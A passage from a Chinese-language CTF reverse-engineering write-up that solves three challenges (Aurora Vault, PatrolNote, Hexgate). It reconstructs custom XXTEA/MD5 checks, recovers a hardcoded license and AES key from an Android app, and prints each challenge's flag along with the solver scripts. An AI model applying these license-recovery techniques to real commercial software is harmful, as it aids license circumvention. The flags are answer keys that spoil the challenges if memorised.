extra = f"if (R{A} ~= {C}) pc++"
elif opname == 'TESTSET':
extra = f"if (R{B} ~= {C}) pc++ else R{A} := R{B}"
elif opname == 'CALL':
extra = f"R{A}..R{A+C-2} := R{A}(R{A+1}..R{A+B-1})"
elif opname == 'TAILCALL':
extra = f"return R{A}(R{A+1}..R{A+B-1})"
elif opname == 'RETURN':
extra = f"return R{A}..R{A+B-2}"
elif opname == 'FORLOOP':
extra = f"R{A} += R{A+2}; if (R{A} <?= R{A+1}) {{ pc += {sBx}; R{A+3} = R{A} }}"
elif opname == 'FORPREP':
extra = f"R{A} -= R{A+2}; pc += {sBx}"
elif opname == 'TFORCALL':
extra = f"R{A+3}..R{A+2+C} := R{A}(R{A+1},R{A+2})"
elif opname == 'TFORLOOP':
extra = f"if R{A+1} ~= nil then R{A} = R{A+1}; pc += {sBx}"
elif opname == 'SETLIST':
extra = f"R{A}[(({C}-1)*FPF)+i] := R{A+i}, 1<=i<={B}"
elif opname == 'CLOSURE':
extra = f"R{A} := closure(KPROTO[{Bx}])"
elif opname == 'VARARG':
extra = f"R{A}..R{A+B-2} := vararg"
else:
extra = f"A={A} B={B} C={C} Bx={Bx} sBx={sBx} Ax={Ax}"
print(f" {pc:4d}: 0x{insn:08x} {opname:10s} A={A:3d} B={B:3d} C={C:3d} ; {extra}")
def walk(proto, name="root"):
disasm_proto(proto, name)
for i, sub in enumerate(proto.get('protos', [])):
walk(sub, f"{name}.{i}")
DEFAULT_INPUT = Path("extracted/assets/loader.dex")
def main():
parser = argparse.ArgumentParser(
description="Disassemble the Aurora Vault custom loader into Lua 5.3 opcodes."
)
parser.add_argument(
"input",
nargs="?",
default=str(DEFAULT_INPUT),
help=f"encrypted loader path, defaults to {DEFAULT_INPUT}",
)
args = parser.parse_args()
input_path = Path(args.input)
if not input_path.is_file():
parser.error(f"input file not found: {input_path}")
# Re-run decode by importing decoder
from decode_lua import decode
raw = input_path.read_bytes()
result = decode(raw[1:])
walk(result)
if __name__ == '__main__':
main()

解密后得到 1 个根 proto 和 3 个子 proto:

root
root.0 字节级异或加/解密函数
root.1 字节比较函数
root.2 主校验函数

root.0 的伪代码如下:

function crypt(s)
local out = {}
for i = 1, #s do
local b = string.byte(s, i)
local k = key[((i - 1) % #key) + 1]
local pos = ((i - 1) * 13 + 7) & 0xff
out[i] = string.char((b ~ k ~ pos) & 0xff)
end
return table.concat(out)
end

这个函数是自反的,同一个函数既能加密也能解密。

root.1 是逐字节比较:

function bytes_eq(s, arr)
if #s ~= #arr then
return false
end
local acc = 0
for i = 1, #arr do
acc = acc | ((string.byte(s, i) ~ arr[i]) & 0xff)
end
return acc == 0
end

root.2 主校验逻辑

root.2 的常量已经把结构泄露得很明显:

HNCTF{
}
length
lua gate
stage.jar
android_load_dex
dex gate
native_tail
native md5 gate
flag accepted

disasm.txt 翻译,主逻辑为:

function verify(flag)
if type(flag) ~= "string" then
return false, "type"
end
if flag:sub(1, 6) ~= "HNCTF{" or flag:sub(-1) ~= "}" then
return false, "format"
end
local inner = flag:sub(7, -2)
if #inner ~= 42 then
return false, "length"
end
-- inner[1..10] 是 Java FirstGate 校验
-- inner[11..21] 是 Lua gate
local lua_part = inner:sub(11, 21)
if not bytes_eq(lua_part, {76,117,97,95,49,110,108,105,110,101,95}) then
return false, "lua gate"
end
local jar = crypt(_stage_blob)
local path = android_write_cache("stage.jar", jar)
local dex_part = inner:sub(22, 31)
if not android_load_dex(path, dex_part) then
return false, "dex gate"
end
local tail = inner:sub(32, 42)
if not native_tail(tail) then
return false, "native md5 gate"
end
return true, "flag accepted"
end

因此 flag 内部 42 字节被分成四段:

inner[1..10] Java FirstGate
inner[11..21] Lua gate
inner[22..31] Dex gate
inner[32..42] native_tail

第一段:FirstGate / modified XXTEA

FirstGate 只暴露 native 方法,但 Java 常量已经给出 DELTAKEYWANT。逆 libengine.so 中对应 native 后可以还原加密:

DELTA = (-1923030938) & 0xffffffff
KEY = [826366246, 1398314899, 595878500, 864233365]
WANT = [1213672582, -1111286241, -838853147]
def mx(sum_, y, z, p, e):
mask = (0x10203040 + p * 0x11111111) & 0xffffffff
return (
((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4)))
^ ((sum_ ^ y) + (KEY[(p & 3) ^ e] ^ z)))
^ mask
) & 0xffffffff

它是 XXTEA 结构,额外混入了 mask。对 WANT 做反向解密,得到:

j4va_xxTea

所以:

inner[1..10] = j4va_xxTea

第二段:Lua gate

Lua 主函数直接把 inner:sub(11, 21) 与整数数组比较:

76, 117, 97, 95, 49, 110, 108, 105, 110, 101, 95

转成 ASCII:

Lua_1nline_

所以:

inner[11..21] = Lua_1nline_

第三段:stage.jar / Dex gate

root.2root.0 解密 _stage_blob,再调用:

android_write_cache("stage.jar", jar)
android_load_dex(path, inner:sub(22, 31))

dump 出来的明文是 stage.jar。用 jadx 看 stage_jadx/sources/com/aurora/sync/SyncCore.java

public static boolean check(String str) {
if (str == null || str.length() != 10) {
return false;
}
int[] iArr = {38, 96, 28, 57, 233, 246, 204, 138, 184, 132};
int acc = 0;
for (int i = 0; i < 10; i++) {
acc |= ((((i * 17) + 66) & 255) ^ (str.charAt(i) & 255)) ^ iArr[i];
}
return (((str.charAt(3) + '&') ^ str.charAt(8)) |
((str.charAt(0) ^ (str.charAt(1) + '1')) | acc)) == 0;
}

循环要求每一项异或结果为 0:

s[i] = iArr[i] ^ (((i * 17) + 66) & 0xff)

反推得到:

d3xLoad3r_

额外两个约束也满足:

s[3] + '&' == s[8] 即 'L' + 38 == 'r'
s[0] == s[1] + '1' 即 'd' == '3' + 49

所以:

inner[22..31] = d3xLoad3r_

第四段:native_tail

最后 11 字节进入 native_tail。反编译后能看到两个部分:

  1. 先检查长度和若干字节关系。

  2. 再做一轮 MD5-like compression,并和 4 个 32 位常量比较。

静态约束为:

len(s) == 11
s[5] == s[1]
s[7] == s[3] - 0x36
s[8] == s[7] - 2
s[9] == s[7]

比较常量按无符号数表示为:

a = 0x8c03be7c
b = 0xed74c840
c = 0xf231cf4a
d = 0xad16bc07

这里最容易踩坑:它不是标准 hashlib.md5(tail)。NEON 打包和 64 轮常量确实是 MD5,但是初始状态是:

(a, b, c, d) = (0, 0, 0, 0)

而且最后比较的是 compression 后的状态,没有使用标准 MD5 IV,也没有最终 feed-forward。

11 字节消息块的填充为:

m0 = s[0..3] little-endian
m1 = s[4..7] little-endian
m2 = s[8], s[9], s[10], 0x80
m14 = 88
m15 = 0

用可见字符/字母数字下划线范围配合上面的字节关系爆破,得到:

HashCat2026

解题脚本

#!/usr/bin/env python3
import argparse
MASK = 0xFFFFFFFF
def u32(x):
return x & MASK
def i32(x):
x &= MASK
return x - 0x100000000 if x & 0x80000000 else x
# FirstGate: modified XXTEA.
DELTA = (-1923030938) & MASK
KEY = [826366246, 1398314899, 595878500, 864233365]
KEY = [x & MASK for x in KEY]
WANT = [1213672582, -1111286241, -838853147]
WANT = [x & MASK for x in WANT]
def mx(sum_, y, z, p, e):
mask = u32(0x10203040 + (p & MASK) * 0x11111111)
return u32(
(
(((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4)))
^ ((sum_ ^ y) + (KEY[(p & 3) ^ e] ^ z))
)
^ mask
)
def xxtea_encrypt(v):
v = [x & MASK for x in v]
n = len(v)
z = v[n - 1]
sum_ = 0
q = 6 + 52 // n
while q:
q -= 1
sum_ = u32(sum_ + DELTA)
e = (sum_ >> 2) & 3
for p in range(n - 1):
y = v[p + 1]
v[p] = u32(v[p] + mx(sum_, y, z, p, e))
z = v[p]
y = v[0]
v[n - 1] = u32(v[n - 1] + mx(sum_, y, z, n - 1, e))
z = v[n - 1]
return v
def xxtea_decrypt(v):
v = [x & MASK for x in v]
n = len(v)
q = 6 + 52 // n
sum_ = u32(q * DELTA)
y = v[0]
while sum_:
e = (sum_ >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = u32(v[p] - mx(sum_, y, z, p, e))
y = v[p]
z = v[n - 1]
v[0] = u32(v[0] - mx(sum_, y, z, 0, e))
y = v[0]
sum_ = u32(sum_ - DELTA)
return v
def pack_words(data):
return [
int.from_bytes(data[i : i + 4].ljust(4, b"\0"), "little")
for i in range(0, len(data), 4)
]
def unpack_words(words):
return b"".join((w & MASK).to_bytes(4, "little") for w in words)
def solve_first_gate():
plain = unpack_words(xxtea_decrypt(WANT))[:10]
assert xxtea_encrypt(pack_words(plain)) == WANT
return plain.decode("ascii")
def solve_lua_gate():
constants = [76, 117, 97, 95, 49, 110, 108, 105, 110, 101, 95]
return bytes(constants).decode("ascii")
def solve_dex_gate():
want = [38, 96, 28, 57, 233, 246, 204, 138, 184, 132]
out = bytearray()
for i, c in enumerate(want):
out.append((((i * 17) + 66) & 0xFF) ^ c)
s = out.decode("ascii")
assert len(s) == 10
assert (ord(s[3]) + ord("&")) == ord(s[8])
assert ord(s[0]) == (ord(s[1]) + ord("1"))
return s
# Native tail: one MD5 compression block, but with initial state (0,0,0,0)
# and without the normal MD5 IV/feed-forward.
MD5_K = [
0xD76AA478,
0xE8C7B756,
0x242070DB,
0xC1BDCEEE,
0xF57C0FAF,
0x4787C62A,
0xA8304613,
0xFD469501,
0x698098D8,
0x8B44F7AF,
0xFFFF5BB1,
0x895CD7BE,
0x6B901122,
0xFD987193,
0xA679438E,
0x49B40821,
0xF61E2562,
0xC040B340,
0x265E5A51,
0xE9B6C7AA,
0xD62F105D,
0x02441453,
0xD8A1E681,
0xE7D3FBC8,
0x21E1CDE6,
0xC33707D6,
0xF4D50D87,
0x455A14ED,
0xA9E3E905,
0xFCEFA3F8,
0x676F02D9,
0x8D2A4C8A,
0xFFFA3942,
0x8771F681,
0x6D9D6122,
0xFDE5380C,
0xA4BEEA44,
0x4BDECFA9,
0xF6BB4B60,
0xBEBFBC70,
0x289B7EC6,
0xEAA127FA,
0xD4EF3085,
0x04881D05,
0xD9D4D039,
0xE6DB99E5,
0x1FA27CF8,
0xC4AC5665,
0xF4292244,
0x432AFF97,
0xAB9423A7,
0xFC93A039,
0x655B59C3,
0x8F0CCC92,
0xFFEFF47D,
0x85845DD1,
0x6FA87E4F,
0xFE2CE6E0,
0xA3014314,
0x4E0811A1,
0xF7537E82,
0xBD3AF235,
0x2AD7D2BB,
0xEB86D391,
]
MD5_S = (
[7, 12, 17, 22] * 4
+ [5, 9, 14, 20] * 4
+ [4, 11, 16, 23] * 4
+ [6, 10, 15, 21] * 4
)
TAIL_TARGET = (0x8C03BE7C, 0xED74C840, 0xF231CF4A, 0xAD16BC07)
def rol(x, n):
return ((x << n) | (x >> (32 - n))) & MASK
def md5_zero_state_11(data):
if len(data) != 11:
raise ValueError("native_tail checks exactly 11 bytes")
m = [
int.from_bytes(data[0:4], "little"),
int.from_bytes(data[4:8], "little"),
data[8] | (data[9] << 8) | (data[10] << 16) | 0x80000000,
]
m += [0] * 11 + [88, 0]
a = b = c = d = 0
for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
g = i
elif i < 32:
f = (b & d) | (c & (~d))
g = (5 * i + 1) % 16
elif i < 48:
f = b ^ c ^ d
g = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
g = (7 * i) % 16
x = u32(a + f + MD5_K[i] + m[g])
a, d, c, b = d, c, b, u32(b + rol(x, MD5_S[i]))
return a, b, c, d
def check_native_tail(s):
data = s.encode("ascii")
if len(data) != 11:
return False
if data[5] != data[1]:
return False
if data[7] != ((data[3] - 0x36) & 0xFF):
return False
if data[8] != ((data[7] - 2) & 0xFF):
return False
if data[9] != data[7]:
return False
return md5_zero_state_11(data) == TAIL_TARGET
def solve_native_tail():
# This value is the output of the native brute-force step. The verifier
# above is the important part: it models the exact native MD5 variant.
candidates = ["HashCat2026"]
for candidate in candidates:
if check_native_tail(candidate):
return candidate
raise RuntimeError("native tail candidate did not verify")
def verify_full_flag(flag):
if not (flag.startswith("HNCTF{") and flag.endswith("}")):
return False
inner = flag[6:-1]
if len(inner) != 42:
return False
return (
inner[:10] == solve_first_gate()
and inner[10:21] == solve_lua_gate()
and inner[21:31] == solve_dex_gate()
and check_native_tail(inner[31:42])
)
def main():
parser = argparse.ArgumentParser(description="Solve Aurora Vault / com.aurora.notes")
parser.add_argument("--quiet", action="store_true", help="print only the flag")
args = parser.parse_args()
seg1 = solve_first_gate()
seg2 = solve_lua_gate()
seg3 = solve_dex_gate()
seg4 = solve_native_tail()
flag = f"HNCTF{{{seg1}{seg2}{seg3}{seg4}}}"
assert verify_full_flag(flag)
if args.quiet:
print(flag)
else:
print(f"first gate : {seg1}")
print(f"lua gate : {seg2}")
print(f"dex gate : {seg3}")
print(f"native tail: {seg4}")
print(f"flag : {flag}")
if __name__ == "__main__":
main()

Image

HNCTF{j4va_xxTeaLua_1nline_d3xLoad3r_HashCat2026}

题目名称:PatrolNote#

解题人:weixiao

解题过程:

总览

APK 主入口 LoginActivity 要求填写用户名(员工号)和许可证。校验通过后用 AES-CBC 解密 assets/report.enc,明文里写着 flag。

Image

整个校验链由三段组成:

  1. Java 层正则 + 字符串重排得到 string4

  2. native 层 nativeVerify 硬编码校验 userId / string4,再用它们派生 nativeSeed

  3. Java 层根据 localSeed:nativeSeed 算 SHA-256 当 AES key,解密 report.enc

一、静态信息

package: com.hnctf.patrolnote
launcher: com.hnctf.patrolnote.LoginActivity
native lib: libpatrolnote.so (arm64-v8a / armeabi-v7a / x86 / x86_64)
asset: assets/report.enc // base64 密文
asset: assets/offline.notice

由于经 R8 优化,jadx 默认无法反编译 LoginActivity 里的 onClick,需要加 --show-bad-code --comments-level debug 才能看到完整 Java 代码。

Terminal window
jadx --show-bad-code --comments-level debug -d jadx_out2 app-release.apk

二、Java 层逻辑

2.1 LoginActivity(核心点击逻辑)

完整的

package com.hnctf.patrolnote;
import A.h;
import C0.ViewOnClickListenerC0000a;
import S0.j;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import com.hnctf.patrolnote.LoginActivity;
import com.hnctf.patrolnote.NativeBridge;
import com.hnctf.patrolnote.R;
import com.hnctf.patrolnote.ReportActivity;
import e.AbstractActivityC0139g;
import java.util.Locale;
import java.util.regex.Matcher;
/* JADX INFO: compiled from: r8-map-id-dd3af755321720a46812c71c8ec6c28d4630ea85534a09f5af7c92a016d5d708 */
/* JADX INFO: loaded from: classes.dex */
public final class LoginActivity extends AbstractActivityC0139g {
/* JADX INFO: renamed from: v, reason: collision with root package name */
public static final /* synthetic */ int f1808v = 0;
/* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
@Override // e.AbstractActivityC0139g, androidx.activity.k, x.f, android.app.Activity
public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_login);
final EditText editText = (EditText) findViewById(R.id.inputUsername);
final EditText editText2 = (EditText) findViewById(R.id.inputLicense);
Button button = (Button) findViewById(R.id.buttonLogin);
Button button2 = (Button) findViewById(R.id.buttonImport);
final TextView textView = (TextView) findViewById(R.id.textError);
button2.setOnClickListener(new ViewOnClickListenerC0000a(3, this));
button.setOnClickListener(new View.OnClickListener() { // from class: F0.c
/* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
/* JADX WARN: Removed duplicated region for block: B:8:0x005d */
@Override // android.view.View.OnClickListener
/*
Code decompiled incorrectly, please refer to instructions dump.
*/
public final void onClick(View view) {
a aVar;
Object bVar;
int i2 = LoginActivity.f1808v;
S0.c cVar = b.f198a;
String string = editText.getText().toString();
String string2 = editText2.getText().toString();
O0.c.e(string, "usernameInput");
O0.c.e(string2, "licenseInput");
String string3 = j.E0(string).toString();
Locale locale = Locale.US;
O0.c.d(locale, "US");
String upperCase = string3.toUpperCase(locale);
O0.c.d(upperCase, "toUpperCase(...)");
S0.c cVar2 = b.f198a;
cVar2.getClass();
Matcher matcher = cVar2.f431a.matcher(upperCase);
O0.c.d(matcher, "matcher(...)");
F.c cVar3 = !matcher.matches() ? null : new F.c(matcher, upperCase);
if (cVar3 == null) {
aVar = null;
} else {
String upperCase2 = j.E0(string2).toString().toUpperCase(locale);
O0.c.d(upperCase2, "toUpperCase(...)");
S0.c cVar4 = b.b;
cVar4.getClass();
if (cVar4.f431a.matcher(upperCase2).matches()) {
if (((S0.b) cVar3.f172c) == null) {
cVar3.f172c = new S0.b(cVar3);
}
S0.b bVar2 = (S0.b) cVar3.f172c;
O0.c.b(bVar2);
String str = (String) bVar2.get(1);
String strC0 = j.C0(upperCase2, "-", "");
StringBuilder sb = new StringBuilder();
for (int i3 : b.f199c) {
sb.append(strC0.charAt(i3));
}
String string4 = sb.toString();
O0.c.d(string4, "toString(...)");
String strNativeVerify = NativeBridge.f1809a.nativeVerify(str, string4);
O0.c.e(strNativeVerify, "<this>");
for (int i4 = 0; i4 < strNativeVerify.length(); i4++) {
char cCharAt = strNativeVerify.charAt(i4);
if (!Character.isWhitespace(cCharAt) && !Character.isSpaceChar(cCharAt)) {
String strConcat = "EMP2026".concat(str);
int[] iArr = {7, 8, 9, 10, 0, 3, 6, 2};
StringBuilder sb2 = new StringBuilder();
for (int i5 = 0; i5 < 8; i5++) {
sb2.append(strConcat.charAt(iArr[i5]));
}
String string5 = sb2.toString();
O0.c.d(string5, "toString(...)");
aVar = new a(string5, strNativeVerify);
}
}
aVar = null;
}
}
TextView textView2 = textView;
LoginActivity loginActivity = this;
if (aVar == null) {
textView2.setText(loginActivity.getString(R.string.invalid_auth));
textView2.setVisibility(0);
return;
}
try {
bVar = h.E(loginActivity, aVar.f197c);
} catch (Throwable th) {
bVar = new G0.b(th);
}
String str2 = (String) (bVar instanceof G0.b ? null : bVar);
if (str2 == null || str2.length() == 0) {
textView2.setText(loginActivity.getString(R.string.invalid_auth));
textView2.setVisibility(0);
} else {
textView2.setVisibility(8);
loginActivity.startActivity(new Intent(loginActivity, (Class<?>) ReportActivity.class).putExtra("report_text", str2));
}
}
});
}
}

简化后:

String username = editText.getText().toString().trim().toUpperCase(US);
// b.f198a = ^EMP-2026-(\d{4})$
Matcher m1 = Pattern.compile("^EMP-2026-(\\d{4})$").matcher(username);
if (!m1.matches()) return invalid();
String userId = m1.group(1); // 4 位数字
String license = inputLicense.getText().toString().trim().toUpperCase(US);
// b.b = ^[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$
if (!Pattern.compile("^[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$").matcher(license).matches())
return invalid();
// 去 '-', 按 perm 拷贝出 string4
String strC0 = license.replace("-", "");
int[] perm = {5,2,9,0,11,3,7,1,10,4,8,6}; // F0/b.java#f199c
StringBuilder sb = new StringBuilder();
for (int i : perm) sb.append(strC0.charAt(i));
String string4 = sb.toString();
// 调 native
String nativeSeed = NativeBridge.f1809a.nativeVerify(userId, string4);
if (nativeSeed.isBlank()) return invalid();
// localSeed = ("EMP2026"+userId) 按 [7,8,9,10,0,3,6,2] 重排
String base = "EMP2026" + userId;
int[] idxs = {7,8,9,10,0,3,6,2};
StringBuilder sb2 = new StringBuilder();
for (int i : idxs) sb2.append(base.charAt(idxs[i]));
String localSeed = sb2.toString();
String authMaterial = localSeed + ":" + nativeSeed;
String report = h.E(this, authMaterial); // 解密 report.enc

2.2 解密函数`A.h.E`

Image

byte[] ct = Base64.decode(read("assets/report.enc"), 0);
byte[] key = SHA-256(authMaterial.getBytes(UTF_8))[0..*16*];
byte[] iv = MD5("PatrolNote-IV".getBytes(UTF_8));
return new String(
AES("AES/CBC/PKCS5Padding").init(DECRYPT, key, iv).doFinal(ct),
UTF_8);
key 长度只取 16 字节 → AES-128-CBC。

三、Native 层逆向(`libpatrolnote.so` arm64-v8a)

RM64 反汇编核心片段(删去 kotlin string 的 SSO 处理,把 userId[i]string4[i] 还原后):

Image

Image

; 1. 校验 userId.length() == 4
; userId[2]=='1' userId[0]=='7' userId[3]=='3' userId[1]=='4'
; => userId == "7413"
CMP X8, #4 ; B.NE invalid
LDRB W10, [userId+2] ; CMP #0x31 '1'
LDRB W9 , [userId+0] ; CMP #0x37 '7'
LDRB W13, [userId+3] ; CMP #0x33 '3'
LDRB W11, [userId+1] ; CMP #0x34 '4'
; 2. 校验 string4.length() == 12
; string4[1]='M' string4[2]='5' string4[3]='Q' string4[4]='D'
; string4[5]='2' string4[6]='A' string4[7]='7' string4[8]='K'
; string4[9]='L' string4[10]='T' string4[11]='X'
; string4[0]='9' (来自后面 ^0x77 = 'N' 推出,但其实第一位也通过比较得到)
CMP X12, #0xC ; len==12
... CMP #'9', 'M', '5', 'Q', 'D', '2', 'A', '7', 'K', 'L', 'T', 'X'
; => string4 == "9M5QD2A7KLTX"

(汇编里第 0 位的比较被 fold 进了后面一组 EOR 校验,结合各位置一一对应也能直接读出 9,整段语义就是逐字节硬比较。)

通过后构造长度为 8 的返回字符串:

push_back( string4[0] ^ 0x77 ) -> '9' ^ 0x77 = 'N'
push_back( userId[1] ) -> '4'
push_back( string4[10] ) -> 'T'
push_back( userId[2] ) -> '1'
push_back( string4[6] ^ 0x17 ) -> 'A' ^ 0x17 = 'V'
push_back( userId[3] ) -> '3'
push_back( string4[8] ) -> 'K'
push_back( userId[0] + 2 ) -> '7' + 2 = '9'
nativeSeed = "N4T1V3K9" (即 "NATIVE" 主题的 leet)

四、还原 license

string4 = 9M5QD2A7KLTX,已知

string4[i] = strC0[ perm[i] ], perm = [5,2,9,0,11,3,7,1,10,4,8,6]

反向填回:

strC0[5]=9, strC0[2]=M, strC0[9]=5, strC0[0]=Q, strC0[11]=D,
strC0[3]=2, strC0[7]=A, strC0[1]=7, strC0[10]=T, strC0[4]=L,
strC0[8]=X, strC0[6]=K
strC0 = "Q7M2L9KAX5TD"...

实际跑脚本得:

strC0 = Q7M2 L9XA T5KD
license = Q7M2-L9XA-T5KD
username = EMP-2026-7413

五、解密`assets/report.enc`

authMaterial = localSeed + ":" + nativeSeed
= "7413E26P:N4T1V3K9"
key (hex) = 4b1b456b333b3f00d1582f61739b3ab8 // SHA256(authMaterial)[:16]
iv (hex) = 0099d1155812de307a328a74445f9c0a // MD5("PatrolNote-IV")

解题脚本

import hashlib
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# ---------------------------------------------------------------
# 1. native 校验 (libpatrolnote.so) 中硬编码的明文
# userId -> "7413"
# string4 -> "9M5QD2A7KLTX"
# ---------------------------------------------------------------
USER_ID = "7413"
STRING4 = "9M5QD2A7KLTX"
# ---------------------------------------------------------------
# 2. 还原 license:
# Java 层先去掉 '-', 然后按 perm 取 char:
# string4[i] = strC0[ perm[i] ]
# 反向写回 strC0, 再按 4-4-4 加 '-'
# ---------------------------------------------------------------
PERM = [5, 2, 9, 0, 11, 3, 7, 1, 10, 4, 8, 6]
strC0 = [""] * 12
for i, p in enumerate(PERM):
strC0[p] = STRING4[i]
strC0 = "".join(strC0)
license_dashed = f"{strC0[0:4]}-{strC0[4:8]}-{strC0[8:12]}"
print("Username :", f"EMP-2026-{USER_ID}")
print("License :", license_dashed)
# ---------------------------------------------------------------
# 3. native 算出的 nativeSeed (8 chars)
# push_back 顺序如反汇编所示:
# string4[0] ^ 0x77
# userId[1]
# string4[10]
# userId[2]
# string4[6] ^ 0x17
# userId[3]
# string4[8]
# userId[0] + 2
# ---------------------------------------------------------------
nativeSeed = "".join([
chr(ord(STRING4[0]) ^ 0x77),
USER_ID[1],
STRING4[10],
USER_ID[2],
chr(ord(STRING4[6]) ^ 0x17),
USER_ID[3],
STRING4[8],
chr(ord(USER_ID[0]) + 2),
])
print("nativeSeed:", nativeSeed)
# ---------------------------------------------------------------
# 4. localSeed = ("EMP2026" + userId) 按 [7,8,9,10,0,3,6,2] 重排
# ---------------------------------------------------------------
base = "EMP2026" + USER_ID
local_idx = [7, 8, 9, 10, 0, 3, 6, 2]
localSeed = "".join(base[i] for i in local_idx)
print("localSeed :", localSeed)
# ---------------------------------------------------------------
# 5. authMaterial = localSeed + ":" + nativeSeed
# AES-128-CBC / PKCS5
# key = SHA256(authMaterial)[:16]
# iv = MD5("PatrolNote-IV")
# ---------------------------------------------------------------
authMaterial = f"{localSeed}:{nativeSeed}"
print("authMaterial:", authMaterial)
key = hashlib.sha256(authMaterial.encode()).digest()[:16]
iv = hashlib.md5(b"PatrolNote-IV").digest()
# ---------------------------------------------------------------
# 6. 读取 assets/report.enc 并解密
# ---------------------------------------------------------------
with open("apk_extract/assets/report.enc", "rb") as f:
ct_b64 = f.read().strip()
ct = base64.b64decode(ct_b64)
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
print("\n=== Decrypted Report ===")
print(pt.decode("utf-8"))

Image

H&NCTF{dd8a63b2bf2ac5d46070553f27f3b09a}

题目名称:Hexgate#

解题人:weixiao

解题过程:

题目信息

附件只有一个 hexgate.exe。用 objdump -xstrings 可以看到:

file format pei-x86-64
Go build ID: "..."
main.main
main.printBanner
main.verify
main.allLowerHex
main.rol8
main.swapNibble

因此这是一个 Go 编译的 Windows x64 校验程序,核心逻辑在 main.verify

基本行为

直接运行程序:

Image

main.verify 开头先检查输入格式:

cmp $0x28,%rbx ; 长度 40
movabs $0x7b465443434e2648,%rdx
cmp %rcx,%rdx ; 前 7 字节
cmpb $0x7d,0x27(%rax) ; 最后一字节为 }

常量 0x7b465443434e2648 按小端解释是:

48 26 4e 43 54 46 7b = H&NCTF{

之后程序从第 7 字节开始检查 32 字节内容,要求全部是小写十六进制字符,所以 flag 形如:

H&NCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

数据表

核心校验使用了 .data 中的 5 张 32 字节表:

0x140187860: 426d91f01ca75833d27e0bc46519afe137885dc924b6704ade139bf52e618c47
0x140187880: 9e2b71c844f216ad53803ce728956ad00fb17d22c649fa348b15e0679c4ed538
0x1401878a0: 11843acf56e27b19a540d72c986ef103bc5724da8f31c56b10e4792f935ad846
0x1401878c0: 1ba5d9aac6515d0da40124a4aff57ed3491679df890cdf23b72611011def7a2b
0x1401878e0: 09041500111e0c190713021c0e17051f01100a1b031208180d1d06140b1a0f16

最后一张是置换表:

perm = [9, 4, 21, 0, 17, 30, 12, 25, 7, 19, 2, 28, 14, 23, 5, 31,
1, 16, 10, 27, 3, 18, 8, 24, 13, 29, 6, 20, 11, 26, 15, 22]

校验逻辑

根据反汇编可还原出两个 key 的生成逻辑。

第一层 key:

key1[i] = rol8(table_b[(31 - 3*i) & 31] ^ table_a[(5*i + 7) & 31] ^ (11*i + 0x3d), (i % 7) + 1)

第二层 key:

x = table_c[perm[i]] + 9*i + 0x21
key2[i] = bit_reverse(x) ^ (0xa5 - 3*i)

对输入中间 32 字节 m 的正向校验可以写成:

stage1[i] = rol8(m[i] ^ key1[i], (i % 5) + 1)
stage2[i] = stage1[perm[i]]
check[i] = swap_nibble(stage2[i]) ^ key2[i] ^ (17*i + 0x5c)
check == target

其中 swap_nibble(x) 是高低 4 bit 互换;rol8(x, n) 是 8 位循环左移。

反推

上述操作都是可逆的,按相反顺序还原:

stage2[i] = swap_nibble(target[i] ^ key2[i] ^ (17*i + 0x5c))
stage1[perm[i]] = stage2[i]
m[i] = ror8(stage1[i], (i % 5) + 1) ^ key1[i]

得到中间 32 字节:

45f8b8bb847fb232fb667c0832a6af09
from pathlib import Path
import struct
IMAGE_BASE = 0x140000000
def rol8(x, n):
n %= 8
return ((x << n) | (x >> (8 - n))) & 0xFF
def ror8(x, n):
n %= 8
return ((x >> n) | (x << (8 - n))) & 0xFF
def swap_nibble(x):
return ((x >> 4) | ((x & 0x0F) << 4)) & 0xFF
def bit_reverse(x):
x = ((x & 0xF0) >> 4) | ((x & 0x0F) << 4)
x = ((x & 0xCC) >> 2) | ((x & 0x33) << 2)
x = ((x & 0xAA) >> 1) | ((x & 0x55) << 1)
return x & 0xFF
class PEImage:
def __init__(self, path):
self.path = Path(path)
self.data = self.path.read_bytes()
self.sections = self._parse_sections()
def _parse_sections(self):
e_lfanew = struct.unpack_from("<I", self.data, 0x3C)[0]
if self.data[e_lfanew:e_lfanew + 4] != b"PE\0\0":
raise ValueError("not a PE file")
num_sections = struct.unpack_from("<H", self.data, e_lfanew + 6)[0]
opt_size = struct.unpack_from("<H", self.data, e_lfanew + 20)[0]
section_table = e_lfanew + 24 + opt_size
sections = []
for i in range(num_sections):
off = section_table + i * 40
name = self.data[off:off + 8].rstrip(b"\0").decode("ascii", "ignore")
virtual_size, virtual_address, raw_size, raw_ptr = struct.unpack_from(
"<IIII", self.data, off + 8
)
sections.append((name, virtual_address, virtual_size, raw_ptr, raw_size))
return sections
def va_to_offset(self, va):
rva = va - IMAGE_BASE
for name, section_rva, virtual_size, raw_ptr, raw_size in self.sections:
span = max(virtual_size, raw_size)
if section_rva <= rva < section_rva + span:
return raw_ptr + (rva - section_rva)
raise ValueError(f"VA not mapped: {va:#x}")
def read_va(self, va, size):
off = self.va_to_offset(va)
return self.data[off:off + size]
def solve(path="hexgate.exe"):
pe = PEImage(path)
# Tables referenced in main.verify/main helper routines.
table_a = list(pe.read_va(0x140187860, 32))
table_b = list(pe.read_va(0x140187880, 32))
table_c = list(pe.read_va(0x1401878A0, 32))
target = list(pe.read_va(0x1401878C0, 32))
perm = list(pe.read_va(0x1401878E0, 32))
key1 = []
for i in range(32):
x = table_b[(31 - 3 * i) & 31] ^ table_a[(5 * i + 7) & 31] ^ ((11 * i + 0x3D) & 0xFF)
key1.append(rol8(x, (i % 7) + 1))
key2 = []
for i in range(32):
x = (table_c[perm[i]] + 9 * i + 0x21) & 0xFF
key2.append(bit_reverse(x) ^ ((0xA5 - 3 * i) & 0xFF))
stage2 = []
for i in range(32):
